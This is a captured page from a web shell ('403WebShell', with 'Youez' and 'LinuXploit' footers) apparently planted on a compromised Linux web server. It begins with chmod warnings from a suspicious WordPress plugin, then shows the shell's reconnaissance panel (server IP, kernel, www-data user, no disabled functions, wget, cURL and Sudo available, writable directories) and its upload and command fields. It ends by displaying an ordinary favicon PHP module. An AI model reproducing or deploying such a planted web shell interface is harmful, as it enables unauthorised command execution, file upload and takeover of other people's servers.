Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/theyoungdesigners_com/modules/favicon/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/theyoungdesigners_com/modules/favicon/main.php
<?php

namespace modules\favicon;

class main extends \moduleMain {
	use \modules\output\traits {
			\modules\output\traits::__construct as __ConstructOutput;
		}
	
	private $FAVICON;
	
	public function __construct() {
		parent::__construct(__DIR__);
		$this->__ConstructOutput();
	}

	// register hooks
	public function Activate() {
		$this->FAVICON = HOME . '/storage/favicon.json';
		hook_add('settings.system', [ $this, '__system' ]);
		hook_add('mediamanager.assets', [ $this, '__register_assets' ]);
		hook_add('fieldlist.icon.html', [ $this, '__field_icon_html' ], 10);	// load default favicon if none set
		hook_add('fieldlist.icon.save', [ $this, '__field_icon_save' ], 90);	// save data for an 'icon'-type field
		hook_add('uri', [$this, '__favicon']); // hook: display the favicon
		hook_add('html.favicon', [ $this, '__favhtml' ]);
		// hook: update theme favicon
	}

	public function __field_icon_html(&$field) {
		if ($field['value'] == '') {
			$field['value'] = '/~/favicon/favicon.svg|' . base64_encode(file_get_contents(__DIR__ . '/static/favicon.svg'));
		}
	}
	
	public function __favhtml(&$html) {
		if (file_exists($this->FAVICON)) {
			$payload = json_decode(file_get_contents($this->FAVICON), TRUE);
			$mime = $payload['mime'];
			if ($mime == 'image/svg') $mime = 'image/svg+xml';
			$html = '<link type="' . $mime . '" rel="icon" href="/favicon.ico">';
		}
	}

	public function __favicon($uri) {
		$param = '';
        if (($p = strpos($uri, '?')) !== FALSE) {
			$param = substr($uri, $p);
			$uri = substr($uri, 0, $p);
		}
		if ($uri == '/favicon.ico') {
			if (file_exists($this->FAVICON)) {
				$payload = json_decode(file_get_contents($this->FAVICON), TRUE);
				$mime = $payload['mime'];
				if ($mime == 'image/svg') $mime = 'image/svg+xml';
				header('Content-type: ' . $mime);
				header('Content-disposition: inline');
				die(base64_decode($payload['content']));
			} else {
				header('Content-type: image/svg+xml');
				readfile(__DIR__ . '/static/favicon.svg');
			}
			exit;
		}
	}


	// update the favicon
	public function __field_icon_save(&$defaultvalue, &$fieldinfo, $newvalue) {
		if ($fieldinfo['name'] == 'config[icon]') {
			[ $filename, $content ] = explode('|', $defaultvalue, 2);
			
			$payload = [
				'date'		=> time(),
				'filename'	=> $filename,
				'content'	=> $content,
				'mime'		=> $fieldinfo['mime'],
			];
			file_put_contents($this->FAVICON, json_encode($payload, JSON_UNESCAPED_SLASHES));
		}
	}

	public function __system(&$fields) {
		$fields['fieldlist'][] = [
			'name' 		=> 'config[icon]',
			'caption' 	=> 'Website Icon',
			'type'		=> 'icon',
			'id'		=> 'config_icon',
			'key'		=> 'key',
		];
	}
	
	// display media popup - when icon is selected, the appropriate setting field is update (icon + basename + fill filename)
	final function icon_select() {
		// include template
		return [
			'popup' => [
				'template' => 'icon_popup',
				'width' => 1000,
				'title' => 'Please select an icon',
				'modal' => TRUE,
				'basedir' => '/admin/media',		// for medialibrary
				'folder' => '/',
				'class' => 'icon-select',
			]
		];
	}

	// these assets are all readonly
	public function __register_assets(&$assets) {
		$asset = new \StdClass;
		$asset->title 	= 'Public Domain Icons';
		$asset->archive = __DIR__ . '/asset/public-domain-icons.zip';
		$asset->mount 	= '/icons/public-domain-icons';							// mount point
		$assets[] = $asset;

		$asset = new \StdClass;
		$asset->title 	= 'Tabler Icons';
		$asset->archive = __DIR__ . '/asset/tabler-icons-3.30.0.zip';
		$asset->mount 	= '/icons/tabler-icons';								// mount point
		$assets[] = $asset;

		$asset = new \StdClass;
		$asset->title 	= 'Shopify Polaris Icons';
		$asset->archive = __DIR__ . '/asset/shopify-polaris.zip';
		$asset->mount 	= '/icons/shopify-polaris';								// mount point
		$assets[] = $asset;

	}
		
	// use media manager to upload/select icon from a zip file of icons
	// creates a new field type for image selection
	
/*
	<div class="control-group cf-icon">
		<label>Icon</label>
		<div class="controls input-frame" style="width:500px">
            <i class="bind-symbolselect fa-lg {{iconclass}}" title="click to select icon" data-name="{{icon}}"></i>
        </div>
        <input type="hidden" id="icon" name="icon" value="{{icon}}">
	</div>
*/	
}

Youez - 2016 - github.com/yon3zu
LinuXploit